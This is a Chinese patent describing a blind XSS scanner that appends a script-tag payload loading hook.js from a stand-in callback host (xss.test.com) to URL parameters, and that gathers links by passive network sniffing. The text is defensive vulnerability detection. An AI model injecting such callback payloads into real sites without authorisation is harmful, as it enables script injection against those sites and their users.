CN104539605B - 网站xss漏洞检测方法和设备 - Google Patents

Abstract

本发明涉及一种网站XSS漏洞检测方法和设备，其中，上述方法包括：获取网站待检测的链接；在待检测的链接中加入XSS测试字符串形成测试链接，其中，测试字符串中包括远程访问代码，远程访问代码执行时向指定地址发送访问请求；根据测试链接发送超文本传输协议请求；如果指定地址获取到来自网站的访问请求，则确定网站存在XSS漏洞。通过本发明的技术方案，当被检测任意一个链接对应网页被显示时，指定地址就可以接收到网站的访问请求，从而确定网站存在XSS漏洞。无需为指定链接发包来等待指定链接的响应，从而实现大范围链接的漏洞检测。

Description

网站XSS漏洞检测方法和设备

技术领域

本发明涉及网络安全技术领域，具体而言，涉及一种网站XSS漏洞检测方法和一种网站XSS漏洞检测设备。

背景技术

XSS即跨站脚本攻击，当网站存在XSS漏洞时，攻击者就可以将代码植入到网站的页面中，例如像网站的页面里插入恶意html代码，当用户浏览该页面时，嵌入网页中的html代码会被执行，这些代码包括HTML代码和客户端脚本，攻击者利用XSS漏洞旁路掉访问控制，从而达到恶意攻击用户的特殊目的。

XSS漏洞问题会进一步导致用户数据的安全问题。因此，网站访问者希望了解网站的安全程度，自然地倾向于使用较为安全的网站，而网站管理者更希望能够及时修复漏洞，克服其网站的安全问题，为网站访问者提供更加安全的浏览平台。

现有技术中，对于网站安全的检测，通常是借助扫描器通过爬虫技术去主动抓取网页，并针对所抓取的网页进行安全性测试。基于这种主动抓取的思想检测网站漏洞的XSS方法则是通过向网站发送测试包，然后等待响应，以确定网站是否存在漏洞。但是，这种发包等响应的方式需要特定的条件才能完成检测，例如添加测试脚本的网页并不一定会被显示或者立即显示，这就导致现有技术中检测漏洞无法完全覆盖。

另外，现有技术中的XSS漏洞检测通过定时或者用户手动触发的方式去执行发包操作以及响应分析，这种检测方式一方面由于人为主观因素的存在，难以精准地根据响应确定漏洞的具体情况和参数，另一方面由于在检测网站的数据量较大，手动发包和分析响应难以及时有效地完成测试。

发明内容

本发明的目的在于克服上述问题的一个或多个方面，而提供一种网站XSS漏洞检测方法和设备。

为实现本发明的目的，本发明采取如下技术方案：

本发明提供的一种网站XSS漏洞检测方法，包括：

获取网站待检测的链接；

在所述待检测的链接中加入XSS测试字符串形成测试链接，其中，所述测试字符串中包括远程访问代码，所述远程访问代码执行时向指定地址发送访问请求；

根据所述测试链接发送超文本传输协议请求；

如果指定地址获取到来自所述网站的访问请求，则确定所述网站存在XSS漏洞。

优选地，所述获取网站待检测的链接包括：

获取用户指定网站的链接以及与指定网站相关联的其他链接。

优选地，所述获取网站待检测的链接包括：

通过旁路侦听而获得的超文本传输协议请求包；利用所述请求包所包含的链接确定属于已知特定网站的关联新链接；

将所述关联新链接作为待检测的链接。

根据本发明实施例之一所揭示，所述在所述待检测的链接中加入XSS测试字符串形成测试链接包括：

识别出所述待检测的链接参数部分，在所述参数部分加入XSS测试字符串，以形成测试链接。

根据本发明实施例之一所揭示，所述指定地址获取到来自所述网站的访问请求包括：

所述指定地址接收到来自所述网站发送的超文本传输协议请求；

或者

所述指定地址的脚本程序被所述网站执行。

优选地，所述方法包括后续步骤：显示图形用户界面以输出XSS漏洞的具体信息。

本发明提出的一种网站XSS漏洞检测设备，包括：

获取单元，用于获取网站待检测的链接；

添加单元，用于在所述待检测的链接中加入XSS测试字符串形成测试链接，

其中，所述测试字符串中包括远程访问代码，所述远程访问代码执行时向指定地址发送访问请求，所述网站根据所述测试链接发送超文本传输协议请求；

接收单元，用于接收访问请求，当通过所述指定地址获取到来自所述网站的访问请求，则确定所述网站存在XSS漏洞。

优选地，还包括：

指令单元，用于接收并解析用户输入指令，以确定用户指定网站的链接，

其中，所述获取单元用于获取用户指定网站的链接以及与指定网站相关联的其他链接。

根据本发明实施例之一所揭示，所述获取单元包括：

监听子单元，用于通过旁路侦听而获得的超文本传输协议请求包；

确定子单元，用于利用所述请求包所包含的链接确定属于已知特定网站的关联新链接，将所述关联新链接作为待检测的链接。

根据本发明实施例之一所揭示，所述添加单元包括：

识别子单元，用于识别出所述待检测的链接参数部分；

字符串子单元，用于在所述参数部分加入XSS测试字符串，以形成测试链接。

优选地，所述接收单元通过指定地址接收到来自所述网站发送的超文本传输协议请求，或在所述指定地址的脚本程序被所述网站执行时，通过所述指定地址获取到来自所述网站的访问请求。

优选地，该设备还包括：显示单元，用于显示XSS漏洞的具体信息。

相较于现有技术，本发明至少具有如下优点：

1、本发明能够向待测试的链接添加测试字符串来形成测试链接，并通过指定地址获取测试字符串中远程访问代码执行时发送的访问请求，由于添加测试字符串的待测试链接包括网站的所有链接，或用户指定的部分链接，为每个链接可以分别添加一个测试字符串，从而在其中任意一个链接对应网页被显示时，指定地址就可以接收到网站的访问请求，从而确定网站存在XSS漏洞。无需为指定链接发包来等待指定链接的响应，从而实现大范围链接的漏洞检测。

2、本发明中的XSS测试字符串的添加和XSS漏洞的判定都由程序实现，一方面无需人工添加测试字符串，节约了人力资源的同时，保证了对大量链接测试的实现，另一方面无需人工判定漏洞，能够更加准确且全面地对漏洞进行检测和评估。

3、本发明通过旁路侦听的方式，可以从网站接收交换机的数据，借助交换机获取接入该交换机的架设有已知特定网站的服务器即将收到的请求包。从而对于无论是通过本机监听网卡而获取所述的请求包，还是由其他设备监听网卡获取所述的请求包后汇聚到本机，本发明均能对这些请求包进行集中的后续处理，确定出这些请求包中的新链接，然后针对这些新链接所指向的网页实施漏洞扫描。一方面实现了明确针对已知特定网站筛选新链接实施扫描，另一方面避免出现定时或不定时扫描所形成的时间空档期间造成的漏扫描而可能出现的安全事故，为网络管理者提供了更为有效的漏洞检测技术工具。

4、本发明允许用户根据实际情况指定需要检测漏洞的网站，具体可以通过图形用户界面添加已知特定网站，并且，在漏洞扫描后还能进行相应的警示，具有非常强的交互性和较为优异的人机交互效果。

综上所述，本发明实现了更加全面、高效且智能的网站安全检测技术方案。

上述说明仅是本发明技术方案的概述，为了能够更清楚了解本发明的技术手段，而可依照说明书的内容予以实施，并且为了让本发明的上述和其它目的、特征和优点能够更明显易懂，以下特举本发明的具体实施方式。

附图说明

通过参考附图会更加清楚的理解本发明的特征和优点，附图是示意性的而不应理解为对本发明进行任何限制，在附图中：

图1示出了根据本发明一个实施例的网站XSS漏洞检测方法流程示意图；

图2示出了根据本发明一个实施例的获取网站待检测的链接的具体流程示意图；

图3示出了根据本发明一个实施例的在待检测的链接中加入XSS测试字符串形成测试链接的具体流程示意图；

图4示出了根据本发明一个实施例的网站XSS漏洞检测设备的示意框图。

具体实施方式

为了能够更清楚地理解本发明的上述目的、特征和优点，下面结合附图和具体实施方式对本发明进行进一步的详细描述。需要说明的是，在不冲突的情况下，本申请的实施例及实施例中的特征可以相互组合。

在下面的描述中阐述了很多具体细节以便于充分理解本发明，但是，本发明还可以采用其他不同于在此描述的其他方式来实施，因此，本发明的保护范围并不受下面公开的具体实施例的限制。

本技术领域技术人员可以理解，除非特意声明，这里使用的单数形式“一”、“一个”、“所述”和“该”也可包括复数形式。应该进一步理解的是，本发明的说明书中使用的措辞“包括”是指存在所述特征、整数、步骤、操作、元件和/或组件，但是并不排除存在或添加一个或多个其他特征、整数、步骤、操作、元件、组件和/或它们的组。应该理解，当我们称元件被“链接”或“耦接”到另一元件时，它可以直接链接或耦接到其他元件，或者也可以存在中间元件。此外，这里使用的“链接”或“耦接”可以包括无线链接或无线耦接。这里使用的措辞“和/或”包括一个或更多个相关联的列出项的全部或任一单元和全部组合。

本技术领域技术人员可以理解，除非另外定义，这里使用的所有术语(包括技术术语和科学术语)，具有与本发明所属领域中的普通技术人员的一般理解相同的意义。还应该理解的是，诸如通用字典中定义的那些术语，应该被理解为具有与现有技术的上下文中的意义一致的意义，并且除非像这里一样被特定定义，否则不会用理想化或过于正式的含义来解释。

本技术领域技术人员可以理解，这里所使用的“终端”、“终端设备”既包括无线信号接收器的设备，其仅具备无发射能力的无线信号接收器的设备，又包括接收和发射硬件的设备，其具有能够在双向通信链路上，执行双向通信的接收和发射硬件的设备。这种设备可以包括：蜂窝或其他通信设备，其具有单线路显示器或多线路显示器或没有多线路显示器的蜂窝或其他通信设备；PCS(Personal Communications Service，个人通信系统)，其可以组合语音、数据处理、传真和/或数据通信能力；PDA(Personal Digital Assistant，个人数字助理)，其可以包括射频接收器、寻呼机、互联网/内联网访问、网络浏览器、记事本、日历和/或GPS(Global Positioning System，全球定位系统)接收器；常规膝上型和/或掌上型计算机或其他设备，其具有和/或包括射频接收器的常规膝上型和/或掌上型计算机或其他设备。这里所使用的“终端”、“终端设备”可以是便携式、可运输、安装在交通工具(航空、海运和/或陆地)中的，或者适合于和/或配置为在本地运行，和/或以分布形式，运行在地球和/或空间的任何其他位置运行。这里所使用的“终端”、“终端设备”还可以是通信终端、上网终端、音乐/视频播放终端，例如可以是PDA、MID(Mobile Internet Device，移动互联网设备)和/或具有音乐/视频播放功能的移动电话，也可以是智能电视、机顶盒等设备。

本技术领域技术人员可以理解，这里所使用的服务器、云端、远端网络设备等概念，具有等同效果，其包括但不限于计算机、网络主机、单个网络服务器、多个网络服务器集或多个服务器构成的云。在此，云由基于云计算(Cloud Computing)的大量计算机或网络服务器构成，其中，云计算是分布式计算的一种，由一群松散耦合的计算机集组成的一个超级虚拟计算机。本发明的实施例中，远端网络设备、终端设备与WNS服务器之间可通过任何通信方式实现通信，包括但不限于，基于3GPP、LTE、WIMAX的移动通信、基于TCP/IP、UDP协议的计算机网络通信以及基于蓝牙、红外传输标准的近距无线传输方式。

本领域技术人员应当理解，本发明所称的“应用”、“应用程序”、“应用软件”以及类似表述的概念，是业内技术人员所公知的相同概念，是指由一系列计算机指令及相关数据资源有机构造的适于电子运行的计算机软件。除非特别指定，这种命名本身不受编程语言种类、级别，也不受其赖以运行的操作系统或平台所限制。理所当然地，此类概念也不受任何形式的终端所限制。

图1通过步骤流程的形式揭示了本发明的一个实施例，该实施例属于对本发明的网站XSS漏洞检测方法的核心技术的具体实现，包括如下步骤：

步骤S1，获取网站待检测的链接。

本实施例中所指的网站可以是用户通过(终端等设备)输入指令具体指定的，也可以是预先设定的，每个网站可以存在一个或多个链接，每个链接分别对应一个网页，在存在重写URL的情况下，则每几个URL链接对应一个网页。

步骤S2，在待检测的链接中加入XSS测试字符串形成测试链接，其中，测试字符串中包括远程访问代码，远程访问代码执行时向指定地址发送访问请求；

上述待测试的链接可以是URL(统一资源定位符)，例如ws.abc.com/index.php？a＝1，XSS测试字符串可以是一段Javascript脚本代码，例如<script src＝"http://xss.test.com/hook.js">，则在链接中加入XSS测试字符串形成的测试链接可以为：

ws.abc.com/index.php？a＝1<script src＝"http://xss.test.com/hook.js">，

当该网站存在XSS漏洞时，那么网站就会向其相应的数据库中写入测试字符串中远程访问代码<script＝"http://xss.yy.com/hook.js">。该远程访问代码为Javascript脚本代码，在其被网站写入数据库时，并不会立即执行，而会当其对应链接被打开时，即链接对应的网页被显示时，远程访问代码才执行。并且，远程访问代码具有回连功能，即在执行时能够向指定地址发送访问请求。根据远程访问代码的上述两个特性，当测试的链接被打开时，只要其对应的网站存在XSS漏洞，那么指定地址就能够收到该网站的访问请求，从而判定该网站存在XSS漏洞。

需要说明的是，上述链接、测试字符串和远程访问代码等均是实现本发明一个实施例的相关示例，实际上可以根据需要确定不同的待测试链接，编辑不同的测试字符串和远程访问代码，并且可以为多个待测试链接分别添加测试字符串进行检测，其中每个链接的检测过程相同，在此不再赘述。

步骤S3，根据测试链接发送超文本传输协议请求；

测试链接中除了包含待测试的链接，还包含测试字符串，而测试字符串中的远程访问代码中则包含有指定地址信息，使得远程访问代码执行时，将远程访问代码写入数据库的网站向指定地址发送访问请求。并且，超文本传输协议请求也只是访问请求中的一种，访问请求也可以是其他类型协议的请求。

步骤S4，如果指定地址获取到来自网站的访问请求，则确定网站存在XSS漏洞。

当指定地址获取到来自网站的访问请求，说明网站已经将远程访问代码写入了其数据库，正是在网站存在XSS漏洞时，网站才会将远程访问代码写入其数据库，并在远程访问代码执行时，向指定地址发送访问请求。因此一旦指定地址获取到了到来自网站的访问请求，就可以判定其存在XSS漏洞。

由于添加测试字符串的待测试链接包括网站的所有链接，或用户指定的部分链接，为每个链接可以分别添加一个测试字符串，从而在其中任意一个链接对应网页被显示时，指定地址就可以接收到网站的访问请求，从而确定网站存在XSS漏洞。无需为指定链接发包来等待指定链接的响应，从而实现大量链接的网站XSS漏洞检测，提高XSS漏洞检测的覆盖率。

优选地，获取网站待检测的链接包括：

获取用户指定网站的链接以及与指定网站相关联的其他链接。

根据本发明的一个实施例，允许用户根据需要指定需要测试的链接。由于不同的网站链接数量不同，链接类型也不同，即使针对同一网站进行检测，不同的用户所需检测内容也不尽相同。因此可以为用户提供一个操作平台(例如图形用户界面)，供用户根据需要指定要检测的网站，以及具体需要检测的链接类型和链接数量，从而实现根据需要的精准检测，避免了对于已确认安全的网站或链接重复检测，提升用户体验的同时，降低了检测操作的资源消耗。

如图2所示，优选地，步骤S1具体包括：

S11，通过旁路侦听而获得的超文本传输协议请求包；S12利用请求包所包含的链接确定属于已知特定网站的关联新链接；

S13，将关联新链接作为待检测的链接。

旁路侦听技术本是基于交换机的“共享”原理，所有接入该交换机的计算机设备将共同接收到相同的数据包，即当一台计算机向网络上另一台计算机发送数据的时候，或者一个请求进入该交换机的时候，尽管最终可能只有一台计算机接收该数据或请求，其实该网络上的其他计算机也能收到该数据或请求，只不过其他计算机的网卡识别到该数据或请求的目的地不是自身时，直接将该数据或请求过滤掉了。也就是说，以太网卡都构造了硬件的“过滤器”，这个过滤器会忽略与自身MAC地址不相符合的信息。旁路侦听技术正是利用这一特点，通过主动关闭网卡的过滤器，来接收整个交换机中的数据信息，实现侦听。因此，可以知晓，实施旁路侦听适宜在最接近目标服务器的交换机处实现，理论上，只要将配置有旁路侦听技术环境的计算机设备接入该交换机，即可实现侦听，从而获取交换机的数据信息，提取相关数据。

根据上述实施例的描述可知，本发明所要检测的网站一般是由用户指定的，一般是应用本发明的方法的企业自身的一个或多个已知网站，这些网站拥有一些共同特征，其链接均解释到特定的一些IP地址段上、其域名所有人均为该企业或该企业的客户，或者，是该企业参与管理的目标网站。具体地，除了可以提供界面供用户进行认为设定，也可以是以链接和/或IP地址和/或域名注册特征信息为基础进行综合判断。因此，本发明的已知特定网站的识别依据，不能仅仅理解为某个域名或其IP地址，还应包括虽未进行人为明文设定，但实质上是该企业所要纳入的检测对象，包括任何解析到实质上属于部分已知特定网站已经占据的IP地址的新增域名的链接。

本发明区别于通过现有技术中通过爬虫技术获取网站和/或链接的重点之一，在于本发明具有确定的已知特定网站，并且，这些已知特定网站，既可以初始化人为给定，也可以由以本方法实现的软件动态识别添加，而不必有如爬虫技术般严格依赖于种子URL。而且，这些已知特定网站在本质上是一系列的链接，既可以使用一个列表进行独立维护，也可以将这个列表用作链接库，甚至直接将这个列表用作待扫描队列。具体如何利用这一列表，只是数据库技术在本方法中的灵活结合运用，例如，一种方式中，已知特定网站列表本质上即是本发明的待扫描队列，对于新链接，顺序追加到列表并附上相应的表征未扫描的标识即可，扫描后更改这些标识为表征已扫描的描述。另一种方式，该列表是独立的，主要用于记录各个域名和相应的IP地址，而另外设置待扫描队列，当识别出关联新链接时，新链接的域名将被添加到该列表中，而新链接本身则被添加到待扫描队列中，以后凡是包含此域名的链接也均不必再行解析，而直接将其添加到待扫描队列中。再一种方式，已知特定网站列表、链接库、待扫描队列均是相互独立的，已知特定网站列表仅已知特定网站有关的存储域名，该链接库用于存储所有已经识别的与已知特定网站有关的链接，而待扫描队列仅用于存储从链接库中获得的新链接，这种方式保证了各类型数据的独立性，可用做更为复杂的用途。

如图3所示，根据本发明实施例之一所揭示，步骤S2具体包括：

S21，识别出待检测的链接参数部分；

S22，在参数部分加入XSS测试字符串，以形成测试链接。

待检测的链接可以是URL，一般完整的、带有授权部分的URL格式如下：

协议://用户名:密码@子域名.域名.顶级域名:端口号/目录/文件名.文件后缀？参数＝值#标志

其中的协议部分用来告知浏览器如何处理将要打开的文件。最常用的模式是超文本传输协议(Hypertext Transfer Protocol，缩写为HTTP)，这个协议可以用来访问网络。

协议部分后边的内容主要用来指明文件所在的服务器的名称或IP地址，其中包含着用来传送对服务器上的数据库进行动态询问时所需要的参数，通过为该参数加入XSS测试字符串，使得网站将测试链接写入数据库后，测试链接中的远程访问代码运行时，能够回连至指定地址，并由网站向指定地址发送访问请求。

当然，在某些情况下，链接中包含多个参数，例如：

链接http://xxxxx/abc？name＝admin，

其中仅包含一个参数name，该参数的值为admin，

而对于另一个链接，

http://xxxxx/abc？name＝admin&password＝admin，

其中存在两个参数，其一为name，其二为password，那么在添加XSS测试字符串时，可以为两个参数分别添加XSS测试字符串时。

根据本发明实施例之一所揭示，指定地址获取到来自网站的访问请求包括：

指定地址接收到来自网站发送的超文本传输协议请求；或者指定地址的脚本程序被网站执行。

指定地址接后去来自网站的访问请求主要包括两种方式：

其一是指定地址接收到来自网站发送的超文本传输协议请求，超文本传输协议主要用来访问网络，即当指定地址和网站不处于同一终端或服务器时，网站可以通过网络向指定地址发送超文本传输协议请求，使得指定地址获悉其检测的网络存在XSS漏洞。

其二是指定地址的脚本程序被网站执行，当网站执行了Javascript脚本程序(即测试字符串中的远程访问代码)，说明该网站在接收到测试链接后，将远程访问代码写入了数据库，即该网站存在XSS漏洞，从而网站根据远程访问代码中定义的指定地址，向指定地址发送访问请求，以使指定地址获取检测的网络存在XSS漏洞。

优选地，该方法包括后续步骤：显示图形用户界面以输出XSS漏洞的具体信息。

通过提供一图形用户界面，用于提供给用户进行网站接的选定，用户通过向该图形用户界面输入与需要检测的网站相关的内容而完成设定，进而对选定的网站进行检测。图形用户界面除了可以为用户提供网站的选定，还可以为用户提供具体链接的选定，由于对某个网站进行XSS漏洞检测时，该网站存在多个链接，但是其中的部分链接已知是安全的，例如网站关于参数name的链接共有300个，而其中http://xxxxx/abc？name＝1到http://xxxxx/abc？name＝100，即参数name的值从1到100这100个链接是已知安全的，那么用户可以通过图形用户界面预先排除掉网站中http://xxxxx/abc？name＝1到http://xxxxx/abc？name＝100这100个链接，仅对剩余200个链接进行测试。从而减少非必要的检测，节约漏洞检测的资源消耗。

如图4所示，根据本发明一个实施例的网站XSS漏洞检测设备10包括：

获取单元11，用于获取网站待检测的链接；

本实施例中所指的网站可以是用户通过(终端等设备)输入指令具体指定的，也可以是预先设定的，每个网站可以存在一个或多个链接，每个链接分别对应一个网页，在存在重写URL的情况下，则每几个URL链接对应一个网页。

添加单元12，用于在待检测的链接中加入XSS测试字符串形成测试链接，

其中，测试字符串中包括远程访问代码，远程访问代码执行时向指定地址发送访问请求，网站根据测试链接发送超文本传输协议请求；

上述待测试的链接可以是URL(统一资源定位符)，例如ws.abc.com/index.php？a＝1，XSS测试字符串可以是一段Javascript脚本代码，例如<script src＝"http://xss.test.com/hook.js">，则在链接中加入XSS测试字符串形成的测试链接可以为：

ws.abc.com/index.php？a＝1<script src＝"http://xss.test.com/hook.js">，

当该网站存在XSS漏洞时，那么网站就会向其相应的数据库中写入测试字符串中远程访问代码<script＝"http://xss.test.com/hook.js">。该远程访问代码为Javascript脚本代码，在其被网站写入数据库时，并不会立即执行，而会当其对应链接被打开时，即链接对应的网页被显示时，远程访问代码才执行。并且，远程访问代码具有回连功能，即在执行时能够向指定地址发送访问请求。根据远程访问代码的上述两个特性，当测试的链接被打开时，只要其对应的网站存在XSS漏洞，那么指定地址就能够收到该网站的访问请求，从而判定该网站存在XSS漏洞。

当指定地址获取到来自网站的访问请求，说明网站已经将远程访问代码写入了其数据库，正是在网站存在XSS漏洞时，网站才会将远程访问代码写入其数据库，并在远程访问代码执行时，向指定地址发送访问请求。因此一旦指定地址获取到了到来自网站的访问请求，就可以判定其存在XSS漏洞。

需要说明的是，上述链接、测试字符串和远程访问代码等均是实现本发明一个实施例的相关示例，实际上可以根据需要确定不同的待测试链接，编辑不同的测试字符串和远程访问代码，并且可以为多个待测试链接分别添加测试字符串进行检测，其中每个链接的检测过程相同，在此不再赘述。

接收单元13，用于接收访问请求，当通过指定地址获取到来自网站的访问请求，则确定网站存在XSS漏洞。

当指定地址获取到来自网站的访问请求，说明网站已经将远程访问代码写入了其数据库，正是在网站存在XSS漏洞时，网站才会将远程访问代码写入其数据库，并在远程访问代码执行时，向指定地址发送访问请求。因此一旦指定地址获取到了到来自网站的访问请求，就可以判定其存在XSS漏洞。

由于添加测试字符串的待测试链接包括网站的所有链接，或用户指定的部分链接，为每个链接可以分别添加一个测试字符串，从而在其中任意一个链接对应网页被显示时，指定地址就可以接收到网站的访问请求，从而确定网站存在XSS漏洞。无需为指定链接发包来等待指定链接的响应，从而实现大量链接的网站XSS漏洞检测，提高XSS漏洞检测的覆盖率。

优选地，还包括：指令单元14，用于接收并解析用户输入指令，以确定用户指定网站的链接，

其中，获取单元11用于获取用户指定网站的链接以及与指定网站相关联的其他链接。

根据本发明的一个实施例，允许用户根据需要指定需要测试的链接。由于不同的网站链接数量不同，链接类型也不同，即使针对同一网站进行检测，不同的用户所需检测内容也不尽相同。因此可以为用户提供一个操作平台(例如图形用户界面)，供用户根据需要指定要检测的网站，以及具体需要检测的链接类型和链接数量，从而实现根据需要的精准检测，避免了对于已确认安全的网站或链接重复检测，提升用户体验的同时，降低了检测操作的资源消耗。

根据本发明实施例之一所揭示，获取单元11包括：

监听子单元111，用于通过旁路侦听而获得的超文本传输协议请求包；

确定子单元112，用于利用请求包所包含的链接确定属于已知特定网站的关联新链接，将关联新链接作为待检测的链接。

旁路侦听技术本是基于交换机的“共享”原理，所有接入该交换机的计算机设备将共同接收到相同的数据包，即当一台计算机向网络上另一台计算机发送数据的时候，或者一个请求进入该交换机的时候，尽管最终可能只有一台计算机接收该数据或请求，其实该网络上的其他计算机也能收到该数据或请求，只不过其他计算机的网卡识别到该数据或请求的目的地不是自身时，直接将该数据或请求过滤掉了。也就是说，以太网卡都构造了硬件的“过滤器”，这个过滤器会忽略与自身MAC地址不相符合的信息。旁路侦听技术正是利用这一特点，通过主动关闭网卡的过滤器，来接收整个交换机中的数据信息，实现侦听。因此，可以知晓，实施旁路侦听适宜在最接近目标服务器的交换机处实现，理论上，只要将配置有旁路侦听技术环境的计算机设备接入该交换机，即可实现侦听，从而获取交换机的数据信息，提取相关数据。

根据上述实施例的描述可知，本发明所要检测的网站一般是由用户指定的，一般是应用本发明的方法的企业自身的一个或多个已知网站，这些网站拥有一些共同特征，其链接均解释到特定的一些IP地址段上、其域名所有人均为该企业或该企业的客户，或者，是该企业参与管理的目标网站。具体地，除了可以提供界面供用户进行认为设定，也可以是以链接和/或IP地址和/或域名注册特征信息为基础进行综合判断。因此，本发明的已知特定网站的识别依据，不能仅仅理解为某个域名或其IP地址，还应包括虽未进行人为明文设定，但实质上是该企业所要纳入的检测对象，包括任何解析到实质上属于部分已知特定网站已经占据的IP地址的新增域名的链接。

本发明区别于通过现有技术中通过爬虫技术获取网站和/或链接的重点之一，在于本发明具有确定的已知特定网站，并且，这些已知特定网站，既可以初始化人为给定，也可以由以本方法实现的软件动态识别添加，而不必有如爬虫技术般严格依赖于种子URL。而且，这些已知特定网站在本质上是一系列的链接，既可以使用一个列表进行独立维护，也可以将这个列表用作链接库，甚至直接将这个列表用作待扫描队列。具体如何利用这一列表，只是数据库技术在本方法中的灵活结合运用，例如，一种方式中，已知特定网站列表本质上即是本发明的待扫描队列，对于新链接，顺序追加到列表并附上相应的表征未扫描的标识即可，扫描后更改这些标识为表征已扫描的描述。另一种方式，该列表是独立的，主要用于记录各个域名和相应的IP地址，而另外设置待扫描队列，当识别出关联新链接时，新链接的域名将被添加到该列表中，而新链接本身则被添加到待扫描队列中，以后凡是包含此域名的链接也均不必再行解析，而直接将其添加到待扫描队列中。再一种方式，已知特定网站列表、链接库、待扫描队列均是相互独立的，已知特定网站列表仅已知特定网站有关的存储域名，该链接库用于存储所有已经识别的与已知特定网站有关的链接，而待扫描队列仅用于存储从链接库中获得的新链接，这种方式保证了各类型数据的独立性，可用做更为复杂的用途。

根据本发明实施例之一所揭示，添加单元12包括：

识别子单元121，用于识别出待检测的链接参数部分；

字符串子单元122，用于在参数部分加入XSS测试字符串，以形成测试链接。

待检测的链接可以是URL，一般完整的、带有授权部分的URL格式如下：

协议://用户名:密码@子域名.域名.顶级域名:端口号/目录/文件名.文件后缀？参数＝值#标志

其中的协议部分用来告知浏览器如何处理将要打开的文件。最常用的模式是超文本传输协议(Hypertext Transfer Protocol，缩写为HTTP)，这个协议可以用来访问网络。

协议部分后边的内容主要用来指明文件所在的服务器的名称或IP地址，其中包含着用来传送对服务器上的数据库进行动态询问时所需要的参数，通过为该参数加入XSS测试字符串，使得网站将测试链接写入数据库后，测试链接中的远程访问代码运行时，能够回连至指定地址，并由网站向指定地址发送访问请求。

当然，在某些情况下，链接中包含多个参数，例如：

链接http://xxxxx/abc？name＝admin，

其中仅包含一个参数name，该参数的值为admin，

而对于另一个链接，

http://xxxxx/abc？name＝admin&password＝admin，

其中存在两个参数，其一为name，其二为password，那么在添加XSS测试字符串时，可以为两个参数分别添加XSS测试字符串时。

优选地，接收单元13通过指定地址接收到来自网站发送的超文本传输协议请求，或在指定地址的脚本程序被网站执行时，通过指定地址获取到来自网站的访问请求。

指定地址接收到来自网站发送的超文本传输协议请求；或者指定地址的脚本程序被网站执行。

指定地址接后去来自网站的访问请求主要包括两种方式：

其一是指定地址接收到来自网站发送的超文本传输协议请求，超文本传输协议主要用来访问网络，即当指定地址和网站不处于同一终端或服务器时，网站可以通过网络向指定地址发送超文本传输协议请求，使得指定地址获悉其检测的网络存在XSS漏洞。

其二是指定地址的脚本程序被网站执行，当网站执行了Javascript脚本程序(即测试字符串中的远程访问代码)，说明该网站在接收到测试链接后，将远程访问代码写入了数据库，即该网站存在XSS漏洞，从而网站根据远程访问代码中定义的指定地址，向指定地址发送访问请求，以使指定地址获取检测的网络存在XSS漏洞。

优选地，该还包括：显示单元15，用于显示XSS漏洞的具体信息。

通过提供一图形用户界面，用于提供给用户进行网站接的选定，用户通过向该图形用户界面输入与需要检测的网站相关的内容而完成设定，进而对选定的网站进行检测。图形用户界面除了可以为用户提供网站的选定，还可以为用户提供具体链接的选定，由于对某个网站进行XSS漏洞检测时，该网站存在多个链接，但是其中的部分链接已知是安全的，例如网站关于参数name的链接共有300个，而其中http://xxxxx/abc？name＝1到http://xxxxx/abc？name＝100，即参数name的值从1到100这100个链接是已知安全的，那么用户可以通过图形用户界面预先排除掉网站中http://xxxxx/abc？name＝1到http://xxxxx/abc？name＝100这100个链接，仅对剩余200个链接进行测试。从而减少非必要的检测，节约漏洞检测的资源消耗。

需要说明的是，上述实施例以URL为优选示例描述网站的链接，但是本申请中网站的链接并不仅限于URL，而是可以包括任何标识网站地址的方式。

综上所述，本发明通过指定地址为待检测链接添加测试字符串进行测试，并通过制定地址获取到来自网站的访问请求，以确定网站存在XSS漏洞，在检测的任意一个链接对应网页被显示时，指定地址就可以接收到网站的访问请求，从而确定网站存在XSS漏洞。无需为指定链接发包来等待指定链接的响应，从而实现大量链接的网站XSS漏洞检测，提高XSS漏洞检测的覆盖率。

应当注意，在此提供的算法和公式不与任何特定计算机、虚拟系统或者其它设备固有相关。各种通用系统也可以与基于在此的示例一起使用。根据上面的描述，构造这类系统所要求的结构是显而易见的。此外，本发明也不针对任何特定编程语言。应当明白，可以利用各种编程语言实现在此描述的本发明的内容，并且上面对特定语言所做的描述是为了披露本发明的最佳实施方式。

在此处所提供的说明书中，说明了大量具体细节。然而，能够理解，本发明的实施例可以在没有这些具体细节的情况下实践。在一些实例中，并未详细示出公知的方法、结构和技术，以便不模糊对本说明书的理解。

类似地，应当理解，为了精简本发明并帮助理解本发明各个方面中的一个或多个，在上面对本发明的示例性实施例的描述中，本发明的各个特征有时被一起分组到单个实施例、图、或者对其的描述中。然而，并不应将该公开的方法和装置解释成反映如下意图：即所要求保护的本发明要求比在每个权利要求中所明确记载的特征更多的特征。更确切地说，如权利要求书所反映，发明方面在于少于前面公开的单个实施例的所有特征。因此，遵循具体实施方式的权利要求书由此明确地并入该具体实施方式，其中每个权利要求本身都作为本发明的单独实施例。

本领域那些技术人员可以理解，可以对实施例中的设备中的模块进行自适应性地改变并且把它们设置在与该实施例不同的一个或多个设备中。可以把实施例中的模块或单元或组件组合成一个模块或单元或组件，以及此外可以把它们分成多个子模块或子单元或子组件。除了这样的特征和/或过程或者单元中的至少一些是相互排斥之外，可以采用任何组合对本说明书(包括伴随的权利要求、摘要和附图)中公开的所有特征以及如此公开的任何方法或者设备的所有过程或单元进行组合。除非另外明确陈述，本说明书(包括伴随的权利要求、摘要和附图)中公开的每个特征可以由提供相同、等同或相似目的的替代特征来代替。

此外，本领域的技术人员能够理解，尽管在此所述的一些实施例包括其它实施例中所包括的某些特征而不是其它特征，但是不同实施例的特征的组合意味着处于本发明的范围之内并且形成不同的实施例。

本发明的各个部件实施例可以以硬件实现，或者以在一个或者多个处理器上运行的软件模块实现，或者以它们的组合实现。本领域的技术人员应当理解，可以在实践中使用微处理器或者数字信号处理器(DSP)来实现根据本发明实施例的网站安全检测设备中的一些或者全部部件的一些或者全部功能。本发明还可以实现为用于执行这里所描述的方法的一部分或者全部的设备或者装置程序(例如，计算机程序和计算机程序产品)。这样的实现本发明的程序可以存储在计算机可读介质上，或者可以具有一个或者多个信号的形式。这样的信号可以从因特网网站上下载得到，或者在载体信号上提供，或者以任何其他形式提供。

以上所述仅是本发明的部分实施方式，应当指出，对于本技术领域的普通技术人员来说，在不脱离本发明原理的前提下，还可以做出若干改进和润饰，这些改进和润饰也应视为本发明的保护范围。

Claims (12)

1.一种网站XSS漏洞检测方法，其特征在于，包括：

获取网站待检测的链接；

